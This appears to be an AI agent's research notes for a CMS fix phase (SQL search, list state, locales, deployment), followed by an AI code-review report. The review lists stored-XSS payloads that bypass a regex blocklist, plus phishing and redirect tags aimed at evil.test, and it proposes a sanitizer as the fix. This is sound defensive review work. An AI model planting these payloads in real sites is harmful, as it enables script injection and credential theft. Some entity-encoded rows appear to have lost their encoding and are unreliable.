- **Saving list state on the SPA's first empty request.** It wipes the stored state (see Pattern 2, SPA step 1).
|
||||
- **Restoring stored state without re-validation.** A stale filter turns into a permanent 422.
|
||||
- **Fixing the locale bug by disabling `en` in the database only.** That fixes one site, not the framework. It may still be wanted for grzybyfunkcjonalne (Open Question 2).
|
||||
- **An HTML detection heuristic instead of the unsafe render.** Post 64 is markdown with trailing raw HTML.
|
||||
|
||||
## Don't Hand-Roll
|
||||
|
||||
| Problem | Don't Build | Use Instead | Why |
|
||||
|---------|-------------|-------------|-----|
|
||||
| Pivot, foreign-key and table names of a relation | String conventions | `gorm.Statement{DB: db}.Parse(model)` → `Schema.Relationships.Relations[field]` | Honors custom `joinForeignKey`/`foreignKey` tags and the naming strategy |
|
||||
| Identifier quoting | `"` concatenation | existing `quotedIdent` / `qualifiedColumn` (query.go:486-497) | Already used by the search SQL |
|
||||
| Upsert | SELECT then INSERT/UPDATE | `clause.OnConflict{Columns: ..., DoUpdates: ...}` | Race-free across two tabs |
|
||||
| HTML pass-through | Regex HTML detector | `html.WithUnsafe()` + existing `rejectUnsafe` | PHP parity; verified on 100/100 bodies |
|
||||
| List param parsing in the SPA | New parser | existing `parseListQuery` / `toListQuery` / `listQueryKey` | Already strict about malformed input |
|
||||
|
||||
## Runtime State Inventory (deploy and data, not a rename)
|
||||
|
||||
| Category | Items Found | Action Required |
|
||||
|----------|-------------|------------------|
|
||||
| Stored data | UAT posts 53 and 64: `content_html` holds `<!-- raw HTML omitted -->` from the import. 0 translate attribute rows. `en` locale enabled with sort_order 1 | After deploy: re-render posts 53 and 64 by re-saving them in `/gfadmin` (this is also D-03's acceptance test), then confirm `content_html NOT LIKE '%raw HTML omitted%'` for all posts. Deciding whether `en` should be disabled is Open Question 2 |
|
||||
| Live service config | None. nginx vhost and supervisor programs unchanged | None |
|
||||
| OS-registered state | supervisor programs `grzybyfunkcjonalne-go`/`-nuxt` (names unchanged) | `sudo supervisorctl restart grzybyfunkcjonalne-go` (Nuxt restart optional) |
|
||||
| Secrets/env vars | None changed | None |
|
||||
| Build artifacts | `bin/grzybyfunkcjonalne` (sha256 94116f4a…68ea from 296b9cd); `modules/boardwalk/dist` embedded SPA | Rebuild with `scripts/build.sh` from a framework checkout at the release tag; rebuild and commit dist before the tag |
|
||||
| Schema | New migration `backend_list_states` | On the server: `bin/grzybyfunkcjonalne migrate` (DEPLOY.md Release step 3) **before** the restart |
|
||||
|
||||
## Release / deploy mechanics (D-04)
|
||||
|
||||
1. **Framework tag.**
|
||||
- Tags are annotated (`git for-each-ref` shows `tag` objects), cut on master after the work, and pushed to `origin` (`git@git.golem15.com:golem15/summercms.git`).
|
||||
- The latest tag is `v0.1.15` (2026-10-09). Next: `v0.1.16`, unless the concurrent session tags first; then take the next free number and check `git tag --contains <fix commit>`.
|
||||
- In Phase 14.3 tagging, the site bump and the deploy were user actions, so make the tag and push a `checkpoint:human-action` or explicit approval.
|
||||
- Before tagging: `scripts/check-admin-dist.sh`, `scripts/check-admin-openapi.sh --check`, `go vet ./...`, `go test ./...` (needs Docker, see Environment), `go test ./cmd/summer -run TestDocsTree`.
|
||||
2. **sm-journal-plugin.**
|
||||
- Commit the FormatHTML change on `main`.
|
||||
- Set `require git.golem15.com/golem15/summercms v0.1.16` in go.mod. It currently reads `v0.1.9`; there is a `replace ... => ../summercms.go`, so this is a nominal pin and `go mod tidy` works offline. Precedent: sm-translate-plugin's "chore(deps): require summercms v0.1.10".
|
||||
- Push `origin main`.
|
||||
3. **Host (`sm-grzybyfunkcjonalne-app`).**
|
||||
- `go.mod` has `replace git.golem15.com/golem15/summercms => ../summercms.go` and `require ... summercms v0.0.0`, so **there is no framework version to bump**. `scripts/build.sh` compiles the `../summercms.go` working tree, so check out the tag or a clean master there before building.
|
||||
- The bump is the submodule pointer: `git -C plugins/golem15/journal fetch && git -C plugins/golem15/journal checkout <new main>`, then commit `plugins/golem15/journal` (current pointer 3d533d4).
|
||||
- Also update README.md:114 and DEPLOY.md "Do not re-save imported posts in /gfadmin". Push origin master.
|
||||
4. **Deploy** (DEPLOY.md "Release"):
|
||||
- `scripts/build.sh` and `scripts/check-deploy.sh`.
|
||||
- rsync the binary to `bin/grzybyfunkcjonalne.new`, then `cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev && mv bin/grzybyfunkcjonalne.new bin/grzybyfunkcjonalne`.
|
||||
- rsync `config/` and `scripts/`. Nuxt `.output` is unchanged unless rebuilt.
|
||||
- On the server in `/srv/grzybyfunkcjonalne/go`: `bin/grzybyfunkcjonalne migrate`, then `sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt`.
|
||||
- Compare the uploaded binary's sha256 with the local build.
|
||||
5. **Smoke on the server** (UAT basic auth; loopback bypass):
|
||||
```sh
|
||||
C=$(mktemp -d); printf 'resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n' > "$C/.curlrc"
|
||||
cd /srv/grzybyfunkcjonalne/go && CURL_HOME="$C" scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl
|
||||
rm -rf "$C"
|
||||
```
|
||||
Expect `smoke: ok (98 urls)`. smoke.sh does not cover the admin.
|
||||
6. **Admin verification** (human, UAT credentials + admin login): see Validation Architecture → Manual. The UAT gate answers 401 off-server, so automated admin checks from the executor machine are impossible without credentials.
|
||||
7. **Rollback:** move `bin/grzybyfunkcjonalne.prev` back and restart. The new table is additive; the migration Rollback drops it.
|
||||
|
||||
## Common Pitfalls
|
||||
|
||||
### Pitfall 1: Ambiguous columns once anything joins
|
||||
**What goes wrong:** Journal's `FilterCategories` uses `db.Where("id IN (SELECT post_id FROM golem15_journal_posts_categories WHERE category_id IN (?))", ids)` and `restrictToOwnPosts` uses `db.Where("user_id = ?", principal.ID)`. Both are unqualified [VERIFIED: models/post.go:107; controllers/posts.go:95]. Any `JOIN` of a table with `id`/`user_id` makes them ambiguous.
|
||||
**How to avoid:** EXISTS subqueries only, with no joins in the outer query for search. Test "search + category filter + non-superuser" together.
|
||||
|
||||
### Pitfall 2: The first list request clobbers the stored state
|
||||
**What goes wrong:** ListView's `immediate: true` watch fires an empty request at setup. With save-on-success, that request overwrites the stored state before the restore runs.
|
||||
**How to avoid:** the entry routine decides on restore before any list request. Add a vitest for this: on mount with an empty query, the `list-state` request comes before any list request, and no empty list request is made when the stored state is non-empty.
|
||||
|
||||
### Pitfall 3: Stale stored state breaks the list permanently
|
||||
**What goes wrong:** A filter is renamed in `config_filter.yaml`, the stored state names the old filter, the restore sets it in the URL, and the list answers 422 on every visit.
|
||||
**How to avoid:** the restore route sanitizes against the current compiled schema and drops invalid parts.
|
||||
|
||||
### Pitfall 4: The default locale is not first
|
||||
**What goes wrong:** Any site where the seeded `en` stays enabled with a lower `sort_order` than the default shows empty ML fields.
|
||||
**How to avoid:** order in cabana (Pattern 3), and test with a writer that returns `["en","pl"]` and default `pl`. The SPA fixtures use `['en', 'pl']` (MLFields.test.ts:18, FormView.test.ts:560); add a case where the default is not first.
|
||||
|
||||
### Pitfall 5: The unsafe render widens what reaches `content_html`
|
||||
**What goes wrong:** `<style>`, `<footer>` and arbitrary tags now pass through. The gate blocks only `<script|iframe|object|embed`, `on*=` handlers and `javascript:|vbscript:|data:`. PHP additionally ran `Html::clean` for admins without `backend.allow_unsafe_markdown`.
|
||||
**How to avoid:** keep the gate. Post authors are authenticated admins with `golem15.journal.access_posts`. Note it as an accepted risk in the security review. Re-run `classes` tests: every `TestFormatHTMLRejectsUnsafeHTML` case still errors through the gate.
|
||||
**Warning sign:** a body containing the Polish word "data:" (for example "Data: 12.03") would be refused with 422. None of the 105 export bodies match today.
|
||||
|
||||
### Pitfall 6: The version in the error log misleads
|
||||
**What goes wrong:** The Go log reports `summercms@v0.1.9`, which is sm-journal-plugin's go.mod require. The binary was built from the working tree at 296b9cd (v0.1.15 code). Do not diff against v0.1.9 to decide what UAT runs.
|
||||
|
||||
### Pitfall 7: Docker-only tests cannot run on this machine
|
||||
**What goes wrong:** `go test ./modules/cabana/ -run TestListQueryContract` fails with `permission denied while trying to connect to the docker API` (run this session). sm-journal-plugin's TestMain is fail-closed too.
|
||||
**How to avoid:** put the new SQL-shape tests in pure DryRun tests (no DB) that run anywhere. Keep the Postgres tests as integration evidence on a Docker-enabled machine (user / CI). Phase 16-05 already records the same constraint.
|
||||
|
||||
### Pitfall 8: Concurrent `modules/` session
|
||||
**What goes wrong:** The other session edits cabana or lagoon files in parallel and creates a merge conflict or a mixed commit.
|
||||
**How to avoid:** before each cabana or lagoon task, run `git status --porcelain -- modules admin` and `git log origin/master..` / `git fetch`. Stage by explicit path. Keep one logical change per commit (D-02).
|
||||
|
||||
### Pitfall 9: Saving the form writes empty `en` translations
|
||||
**What goes wrong:** The form sends every enabled locale (`{pl: "...", en: ""}`), so a save creates `en` attribute rows with empty strings, including an empty `en` slug index. `Translated` falls back to the host for empty values, so the public output is unchanged.
|
||||
**How to avoid:** this is existing behavior. Note it, and do not "fix" it in this phase.
|
||||
|
||||
## Code Examples
|
||||
|
||||
### Default locale first (cabana, sketch)
|
||||
```go
|
||||
// enabledContentLocales: default locale first, others in the writer's order.
|
||||
codes, err := writer.EnabledLocales(ctx, db)
|
||||
...
|
||||
if def, err := writer.DefaultLocale(ctx, db); err == nil && def != "" {
|
||||
if i := slices.Index(codes, def); i > 0 {
|
||||
codes = append([]string{def}, slices.Delete(slices.Clone(codes), i, i+1)...)
|
||||
}
|
||||
}
|
||||
return codes
|
||||
```
|
||||
|
||||
### DryRun SQL test (pure, no Docker)
|
||||
```go
|
||||
// Source: probe this session; gorm.Config{DryRun: true, DisableAutomaticPing: true}
|
||||
db, _ := gorm.Open(pgdriver.New(pgdriver.Config{DSN: "host=127.0.0.1 port=1 user=x dbname=x sslmode=disable"}),
|
||||
&gorm.Config{DryRun: true, DisableAutomaticPing: true, Logger: logger.Discard})
|
||||
sql := db.ToSQL(func(tx *gorm.DB) *gorm.DB {
|
||||
q, _ := applyListSearch(tx.Model(&m2mRow{}), ctl, schema, &m2mRow{}, "x")
|
||||
var n int64
|
||||
return q.Count(&n)
|
||||
})
|
||||
// assert: contains `EXISTS (SELECT 1 FROM "<pivot>"`, contains `."<owner_fk>" = "<main>"."id"`, not contains `"Categories"."post_id"`, no "JOIN" in the outer query
|
||||
```
|
||||
|
||||
## State of the Art
|
||||
|
||||
| Old Approach | Current Approach | When Changed | Impact |
|
||||
|--------------|------------------|--------------|--------|
|
||||
| `Joins(field)` for every relation column | EXISTS for search; correlated subquery for to-many sort | this phase | belongsToMany and hasMany search and sort work; counts are exact |
|
||||
| URL-only list state | URL + per-user `backend_list_states` | this phase | State survives form round-trips and navigation |
|
||||
| goldmark safe render | goldmark `html.WithUnsafe()` + gate | this phase | Imported HTML round-trips; PHP parity |
|
||||
|
||||
## Assumptions Log
|
||||
|
||||
| # | Claim | Section | Risk if Wrong |
|
||||
|---|-------|---------|---------------|
|
||||
| A1 | List state should persist across logins (durable per user), not end at logout like Winter's PHP session | Pattern 2 | Low: a one-line delete in `logout` switches to session semantics |
|
||||
| A2 | Winter's `Markdown::parse` passes raw HTML through (Parsedown default) | Root cause D-03 | Low: the export data (content_html == content for 83/100, entities-only diffs for 17) supports it |
|
||||
| A3 | Winter's `whereHas` applies the related model's soft-delete scope, so EXISTS should add `deleted_at IS NULL` for soft-deleting related models | Pattern 1 | Low: affects only soft-deleting related models; Journal Category has no soft delete [not verified] |
|
||||
| A4 | GORM polymorphic references carry `PrimaryValue` needing an extra bound condition; refusing polymorphic relations in search is acceptable for now | Pattern 1 | Low: no current list column uses a polymorphic relation [not verified across plugins] |
|
||||
| A5 | The PHP site's `use_rich_editor` setting value is unknown (Go UAT: `f`); 16.1 does not implement the rich-editor store-as-is branch | Pattern 4 | Low: unsafe markdown already round-trips HTML; the branch belongs with 16.2's Blog Editor |
|
||||
| A6 | The new route name `list-state` and table name `backend_list_states` are acceptable names | Pattern 2 | Cosmetic |
|
||||
|
||||
## Open Questions (RESOLVED)
|
||||
|
||||
1. **Tag number vs the concurrent session.**
|
||||
- What we know: the latest tag is v0.1.15. No `modules/` edits are in flight in this checkout.
|
||||
- What's unclear: whether the other session will tag first.
|
||||
- Recommendation: the release task checks `git fetch --tags` and uses the next free `v0.1.x`.
|
||||
- RESOLVED: plan 16.1-02 Task 1 picks the next free tag or reuses an existing tag that contains the fixes.
|
||||
2. **Should `en` be disabled on grzybyfunkcjonalne?**
|
||||
- What we know: the site is Polish-only; the export has only `pl` translations. With en enabled, every admin save writes empty en rows (Pitfall 9).
|
||||
- What's unclear: whether any client requests `locale=en`.
|
||||
- Recommendation: the framework fix is enough for D-03. Ask the user whether to also set `is_enabled=false` for `en` on UAT (one SQL line, or the Locales admin) and in `migrate.sh`.
|
||||
- RESOLVED: `en` stays enabled (Claude's discretion in CONTEXT.md); empty en rows on save are accepted.
|
||||
3. **Repairing posts 53 and 64: admin re-save or a console command?**
|
||||
- Recommendation: admin re-save after the deploy. It is two posts and doubles as the D-03 acceptance test. A reusable `journal:rebuild-html` command is out of scope unless the user wants it.
|
||||
- RESOLVED: plan 16.1-02 Task 3 repairs both posts by admin re-save.
|
||||
|
||||
## Environment Availability
|
||||
|
||||
| Dependency | Required By | Available | Version | Fallback |
|
||||
|------------|------------|-----------|---------|----------|
|
||||
| Go | all Go work | ✓ | go1.27.0 | — |
|
||||
| Node / npm / pnpm | admin SPA build + vitest; Nuxt build | ✓ | node v22.23.2 | — |
|
||||
| Docker daemon | testcontainers tests (cabana query/list, journal admin harness) | ✗ (`permission denied` on /var/run/docker.sock; user not in docker group) | client 29.7.2 | Pure DryRun tests here; Postgres suites on a Docker-enabled machine (user/CI) |
|
||||
| Local Postgres | ad-hoc queries | ✗ for this user (`role "golem" does not exist`) | — | — |
|
||||
| ssh `grzybyfunkcjonalne-uat` + peer psql | read-only UAT checks, deploy | ✓ | PostgreSQL 17.11 | — |
|
||||
| swag v1.16.6 | OpenAPI regeneration | ✓ (module cache) | v1.16.6 | — |
|
||||
| vitest suite | SPA tests | ✓ (`ListView.test.ts` + `MLFields.test.ts`: 44 passed this session) | — | — |
|
||||
|
||||
**Missing dependencies with no fallback:** none blocking. Postgres-backed tests need the user's Docker-enabled environment before the tag.
|
||||
|
||||
## Validation Architecture
|
||||
|
||||
### Test Framework
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| Framework | Go `testing` (+ testcontainers-go v0.44.0 for Postgres); vitest + @vue/test-utils + happy-dom for the SPA |
|
||||
| Config file | none (Go); `admin/vite.config.*` / `admin/tests/setup.ts` |
|
||||
| Quick run command | `go test ./modules/cabana -run 'TestListRelation|TestListState|TestEnabledLocales' -count=1` (pure DryRun/unit parts) ; `npm --prefix admin test -- tests/list/ListView.test.ts tests/form` ; `go -C ../sm-journal-plugin test ./classes/` |
|
||||
| Full suite command | `go vet ./... && go test ./...` (summercms.go, Docker required) ; `go -C ../sm-journal-plugin test ./...` (Docker required) ; `npm --prefix admin test` ; `scripts/check-admin-dist.sh` ; `scripts/check-admin-openapi.sh --check` ; `go test ./cmd/summer -run TestDocsTree` |
|
||||
|
||||
### Phase Requirements → Test Map
|
||||
| Req ID | Behavior | Test Type | Automated Command | File Exists? |
|
||||
|--------|----------|-----------|-------------------|-------------|
|
||||
| D-02 | Search over a many2many column emits EXISTS through the pivot, no `Joins` | unit (DryRun SQL) | `go test ./modules/cabana -run TestListRelationSearchSQL` | ❌ Wave 0 (new `query_relation_test.go`) |
|
||||
| D-02 | Search over many2many / hasMany / belongsTo returns the right rows, exact `total`, combined with a scope filter that uses unqualified `id` and a ListExtendQuery `user_id = ?` | integration (Postgres) | `go test ./modules/cabana -run TestListRelationSearch` | ❌ extend `query_test.go` fixtures (add a pivot model) |
|
||||
| D-02 | Sort by a to-many column orders by the aggregated value, no duplicate rows | integration | `go test ./modules/cabana -run TestListRelationSort` | ❌ |
|
||||
| D-01 | Successful list GET upserts state; 422 does not; unchanged state does not write | integration | `go test ./modules/cabana -run TestListStateSave` | ❌ |
|
||||
| D-01 | `GET .../list-state` returns the caller's state only, sanitizes stale filter/sort/per_page, 403 without permission | integration | `go test ./modules/cabana -run TestListStateRestore` | ❌ |
|
||||
| D-01 | Migration creates `backend_list_states`; rollback drops it; `backend_user_preferences` still absent | integration | `go test ./modules/lagoon -run TestBackendAdminMigrations` | ✅ extend |
|
||||
| D-01 | ListView: empty query → list-state requested first, then replaced URL; no empty list request before restore; own clear-all saves empty; same-path nav re-entry restores; page clamp | unit (vitest) | `npm --prefix admin test -- tests/list/ListView.test.ts` | ✅ extend |
|
||||
| D-03 | `meta.enabledLocales` has the default first when the writer returns `["en","pl"]` with default `pl` | unit/integration | `go test ./modules/cabana -run TestEnabledLocalesDefaultFirst` | ❌ (reuse `recordingWriter` in ml_smoke_test.go) |
|
||||
| D-03 | MLField opens on `enabledLocales[0]`, showing host value | unit (vitest) | `npm --prefix admin test -- tests/form/MLFields.test.ts` | ✅ extend |
|
||||
| D-03 | `FormatHTML` keeps raw HTML (`<p>a</p>\n<p>b</p>` round-trips; markdown + trailing `<footer>`/`<style>` kept) and still rejects script/iframe/event/javascript/vbscript/data | unit | `go -C ../sm-journal-plugin test ./classes/ -run TestFormatHTML` | ✅ extend `format_html_test.go` |
|
||||
| D-03 | Admin update of a post whose `content` is HTML leaves `content_html` equal to the HTML (re-save test from the todo) | integration (journal harness) | `go -C ../sm-journal-plugin test -run TestPostsAdminResaveKeepsHTML .` | ❌ add to `posts_admin_smoke_test.go` |
|
||||
| D-04 | 98-URL smoke on staging | e2e (server) | on-server `CURL_HOME=... scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` | ✅ |
|
||||
|
||||
### Manual (UAT, human with credentials)
|
||||
On `/gfadmin/golem15/journal/posts`:
|
||||
1. Search "cordyceps": rows return, no "The list could not be loaded".
|
||||
2. Set a sort and a category filter, open a post, press Back (in-app): the same sort and filter remain and are in the URL. Navigate away via the rail and back: they are restored. Copy the URL into a new tab: the same list.
|
||||
3. Open any imported post: title, slug, content (HTML source) and excerpt are filled, and the locale selector shows `pl`.
|
||||
4. Re-save posts 53 and 64, then on the server: `SELECT count(*) FROM golem15_journal_posts WHERE content_html LIKE '%raw HTML omitted%'` → 0. `/blog/ekstrakt-z-turkey-tail` shows the author footer.
|
||||
|
||||
### Sampling Rate
|
||||
- **Per task commit:** the quick-run commands for the touched repo (pure Go tests + vitest file).
|
||||
- **Per wave merge:** full suite of the touched repo, plus `check-admin-dist.sh` / `check-admin-openapi.sh --check` when SPA or swag files changed.
|
||||
- **Phase gate:** full suites green on a Docker-enabled machine before the tag; UAT smoke + manual list before `/msd-verify-work`.
|
||||
|
||||
### Wave 0 Gaps
|
||||
- [ ] `modules/cabana/query_relation_test.go`: DryRun SQL tests plus many2many and hasMany fixture models (pivot table) for the Postgres tests.
|
||||
- [ ] `modules/cabana/list_state_test.go`: save, restore, sanitize, permission.
|
||||
- [ ] `sm-journal-plugin/posts_admin_smoke_test.go`: re-save keeps HTML.
|
||||
- [ ] No framework installs needed.
|
||||
|
||||
## Security Domain
|
||||
|
||||
### Applicable ASVS Categories
|
||||
|
||||
| ASVS Category | Applies | Standard Control |
|
||||
|---------------|---------|-----------------|
|
||||
| V2 Authentication | no (unchanged) | existing backend guard |
|
||||
| V3 Session Management | yes (new per-user state, not a session token) | State is keyed by the JWT principal ID; it carries no authority |
|
||||
| V4 Access Control | yes | The list-state route goes through `protect()` (controller permission before SQL). Rows are scoped to `principal.ID`; no route reads another user's state |
|
||||
| V5 Input Validation | yes | Stored state is re-validated against the compiled schema on restore. Search SQL uses bound `?` args and `quotedIdent` identifiers from GORM's schema. Size cap on stored JSON |
|
||||
| V6 Cryptography | no | — |
|
||||
| V14 / XSS (output) | yes | `content_html` now carries raw admin HTML; the `rejectUnsafe` gate stays on every write path (admin, import, API); the admin preview (`cabana.RenderMarkdown`, v-html) stays safe-mode |
|
||||
|
||||
### Known Threat Patterns
|
||||
|
||||
| Pattern | STRIDE | Standard Mitigation |
|
||||
|---------|--------|---------------------|
|
||||
| SQL injection via relation/column names in search | Tampering | Names come from the compiled schema + `schema.Relationship`; `identifier()` + `LookUpField`; values bound |
|
||||
| Stored-state poisoning (oversized or crafted state) | Tampering / DoS | Validate on save (only successful list inputs) and on restore; size cap |
|
||||
| Cross-site GET that writes list state | Tampering (low) | Admin cookie is `SameSite=Strict` (auth.go `sessionCookie`); Bearer clients are not CSRF-able; the impact is only the attacker-chosen filters of the victim |
|
||||
| Stored XSS through post HTML | Tampering / Elevation | 3-pattern gate (script/iframe/object/embed, `on*=`, javascript/vbscript/data URLs); authors are permissioned admins; accepted residual risk vs PHP `Html::clean` (Pitfall 5) |
|
||||
|
||||
## Sources
|
||||
|
||||
### Primary (HIGH confidence, read or run this session)
|
||||
- summercms.go:
|
||||
- `modules/cabana/query.go` (whole file);
|
||||
- `field_ml.go`, `crud.go:405-715, 1187-1274`, `http.go:225-300, 700-745, 955-1030`;
|
||||
- `list_schema.go:20, 526-541`, `schema.go:61-71`, `auth.go:180-340`;
|
||||
- `modules/lagoon/backend_admin_migrations.go`, `backend_admin_migrations_test.go:100-135`;
|
||||
- `admin/src/components/form/*`, `admin/src/views/{ListView,FormView}.vue`, `admin/src/app/listQuery.ts`.
|
||||
- sm-journal-plugin:
|
||||
- `models/post.go`, `models/post/{columns,fields}.yaml`, `controllers/posts/*.yaml`;
|
||||
- `controllers/posts.go`, `classes/format_html.go`, `classes/format_html_test.go`, `console/import_posts.go`;
|
||||
- `admin_harness_test.go`, `go.mod`.
|
||||
- sm-translate-plugin: `classes/admin_writer.go`, `classes/translatable.go:40-223`, `updates/202610060005_seed_en_pl_locales.go`.
|
||||
- sm-grzybyfunkcjonalne-app: `go.mod`, `go.work`, `.gitmodules`, `scripts/build.sh`, `scripts/migrate.sh:167-175`, `DEPLOY.md`, `README.md:114`.
|
||||
- WinterCMS reference:
|
||||
- `examples/golem15-wintercms-starter/modules/backend/widgets/Lists.php` (500-600, session calls), `Search.php`, `Filter.php`;
|
||||
- `traits/SessionMaker.php`;
|
||||
- `database/migrations/2014_01_04_000005_Db_Backend_User_Preferences.php`;
|
||||
- `grzybyfunkcjonalne.pl/plugins/golem15/journal/models/Post.php:130-208`, `controllers/Posts.php:80-98`.
|
||||
- Probes:
|
||||
- GORM v1.31.2 DryRun (many2many Joins SQL, references, EXISTS shape);
|
||||
- goldmark v1.8.6 safe vs unsafe over 100 export bodies and 2 damaged posts;
|
||||
- read-only UAT psql (locales, translate attributes, post column counts, wiped posts).
|
||||
|
||||
### Secondary
|
||||
- `.planning/phases/16-*/16-RESEARCH.md` (Pitfalls 1-2), `16-04-SUMMARY.md`, `deferred-items.md`, `16-05-PLAN.md` (Docker constraint).
|
||||
|
||||
## Metadata
|
||||
|
||||
**Confidence breakdown:**
|
||||
- Root causes: HIGH. Each is reproduced by a probe or observed in UAT data.
|
||||
- EXISTS builder: HIGH for many2many and hasMany (probe); MEDIUM for polymorphic and soft-delete handling (assumed).
|
||||
- List-state design: MEDIUM. Discretion area; the semantics are reasoned through, but there is no Winter-identical storage.
|
||||
- Release mechanics: HIGH. Read from build.sh, go.mod, go.work and DEPLOY.md.
|
||||
|
||||
**Research date:** 2026-10-09
|
||||
**Valid until:** 2026-10-23 (fast-moving repo with a concurrent `modules/` session)
|
||||
@@ -0,0 +1,168 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
reviewed: 2026-10-09T21:20:45Z
|
||||
depth: standard
|
||||
files_reviewed: 22
|
||||
files_reviewed_list:
|
||||
- admin/src/state/listState.ts
|
||||
- admin/src/state/useAuth.ts
|
||||
- admin/src/state/useSidebar.ts
|
||||
- admin/src/views/ListView.vue
|
||||
- admin/tests/form/FormView.test.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- admin/tests/smoke/list.smoke.test.ts
|
||||
- admin/tests/state/listState.test.ts
|
||||
- admin/tests/state/useAuth.test.ts
|
||||
- docs/backend/forms.md
|
||||
- docs/backend/lists-and-filters.md
|
||||
- modules/cabana/README.md
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/locale_order_test.go
|
||||
- modules/cabana/query.go
|
||||
- modules/cabana/query_relation_test.go
|
||||
- scripts/check-phase10.sh
|
||||
- ../sm-journal-plugin/README.md
|
||||
- ../sm-journal-plugin/classes/format_html.go
|
||||
- ../sm-journal-plugin/classes/format_html_test.go
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
findings:
|
||||
critical: 1
|
||||
warning: 5
|
||||
info: 3
|
||||
total: 9
|
||||
status: issues_found
|
||||
---
|
||||
|
||||
# Phase 16.1: Code Review Report
|
||||
|
||||
**Reviewed:** 2026-10-09T21:20:45Z
|
||||
**Depth:** standard
|
||||
**Files Reviewed:** 22
|
||||
**Status:** issues_found
|
||||
|
||||
## Narrative Findings (AI reviewer)
|
||||
|
||||
## Summary
|
||||
|
||||
I reviewed the phase diffs: summercms.go `1ef21b0^..HEAD` and sm-journal-plugin `3d533d4..HEAD`. I checked the relation subquery SQL in `modules/cabana/query.go` against GORM's relationship model. Table, pivot and column names come only from the parsed schema, every identifier goes through `quotedIdent`/`qualifiedColumn`, and the search term is a bound parameter. I found no SQL injection path. The EXISTS correlation is correct for belongsTo, hasOne, hasMany and belongsToMany, including self-referencing relations. The `enabledContentLocales` reorder is correct, and so is the list-state key and validation logic.
|
||||
|
||||
The blocking problem is in the journal plugin. Turning on `html.WithUnsafe()` makes the three-regex `rejectUnsafe` blocklist the only defence against stored XSS. That blocklist can be bypassed with ordinary HTML-parser behaviour, and I confirmed this by running the same goldmark config and regexes. The public Nuxt layer (`vue-journal-layer/app/utils/htmlGate.ts`) uses the same three regexes word for word, so it adds no defence in depth. Before this phase, goldmark replaced these payloads with `<!-- raw HTML omitted -->`. They now reach `content_html` and the public `v-html` sinks.
|
||||
|
||||
## Critical Issues
|
||||
|
||||
### CR-01: The rejectUnsafe gate can be bypassed now that raw HTML passes, so stored XSS reaches content_html (T-16.1-02 not met)
|
||||
|
||||
**File:** `../sm-journal-plugin/classes/format_html.go:22,25-27,54-66`
|
||||
**Issue:** With `goldmark.WithRendererOptions(html.WithUnsafe())`, goldmark copies raw HTML blocks verbatim. Inside a type-6 HTML block, which is any block starting with `<div>` or `<p>`, the content does not even have to be valid CommonMark tag syntax. With unsafe mode on, goldmark also stops applying its own `IsDangerousURL` filter. The remaining gate is a substring blocklist, and these payloads get past it. I verified each one against goldmark v1.8.6 with the exact engine options and regexes; every one returns `err == nil`:
|
||||
|
||||
| Source passed to `FormatHTML` | Output (unchanged) | Why the gate misses it |
|
||||
|---|---|---|
|
||||
| `<p><img src="x"onerror="alert(1)"></p>` | same | `\son[a-z]+\s*=` needs whitespace before `on`; browsers accept a quoted value followed directly by the next attribute. Runs on page load. |
|
||||
| `<div>\n<svg/onload=alert(1)>\n</div>` | same | `/` is a valid attribute separator in HTML. Runs on page load. |
|
||||
| `<a href="javascript:alert(1)">x</a>` | same | The browser decodes the entity before parsing the URL. |
|
||||
| `<a href="javascript:alert(1)">x</a>` | same | Named entity. |
|
||||
| `<a href="javascript:alert(1)">x</a>` | same | Entity inside the scheme. |
|
||||
| `<a href="java\tscript:alert(1)">x</a>` | same | The URL parser strips tab and newline. |
|
||||
| `<div>\n<math><maction actiontype=statusline xlink:href="javascript:alert(1)">x</maction></math>\n</div>` | same | Same issue in the MathML/SVG namespace. |
|
||||
|
||||
Non-script tags that are just as dangerous also pass: `<base href="https://evil.test/">` rewrites every relative URL on the page, `<meta http-equiv="refresh" content="0;url=https://evil.test">` is an open redirect, and `<form action="https://evil.test"><input type=password ...>` is a credential phish. The plan accepted only "inert tags such as style, footer or form" as residual risk, not executable script.
|
||||
|
||||
**Impact:** All three write paths call `FormatHTML`: admin save at `controllers/posts.go:213`, `journal:import-posts` at `console/import_posts.go:185`, and the Journal API writes at `controllers/api/posts_helpers.go:511,567,768`. The result is served as `content_html` and rendered with `v-html` behind `gateJournalHtml`, which uses the same regexes. So any admin with the posts permission, or any imported file, can plant script that runs for every public visitor. If the admin SPA and the public site share an origin, it also runs for any signed-in superuser who opens the post. The admin cookie is HttpOnly but is still sent on same-origin API calls, so this is an escalation from author to full admin. `CheckHTML` for category `content` (`controllers/categories.go:75`) shares the same weak gate. That part predates this phase, but it is the same root cause.
|
||||
|
||||
The README sentence added in this phase ("its gate still refuses ... event handlers and javascript, vbscript and data URLs on every write path") and the T-16.1-02 mitigation claim are both untrue as written.
|
||||
|
||||
**Fix:** Replace the regex blocklist with a parser-based allowlist. Following the project's preference for established libraries, add `github.com/microcosm-cc/bluemonday` with a decision note and sanitize the rendered output rather than refusing it:
|
||||
```go
|
||||
var postPolicy = func() *bluemonday.Policy {
|
||||
p := bluemonday.UGCPolicy() // drops script/iframe/object/embed/base/meta/form, on*, js/vbscript URLs
|
||||
p.AllowAttrs("class").Globally() // keep imported class attributes (D-03 round-trip)
|
||||
p.AllowElements("footer", "figure", "figcaption")
|
||||
return p
|
||||
}()
|
||||
|
||||
func FormatHTML(src string) (string, error) {
|
||||
var buf bytes.Buffer
|
||||
if err := markdownEngine.Convert([]byte(strings.TrimSpace(src)), &buf); err != nil {
|
||||
return "", fmt.Errorf("journal: markdown: %w", err)
|
||||
}
|
||||
return postPolicy.Sanitize(buf.String()), nil
|
||||
}
|
||||
```
|
||||
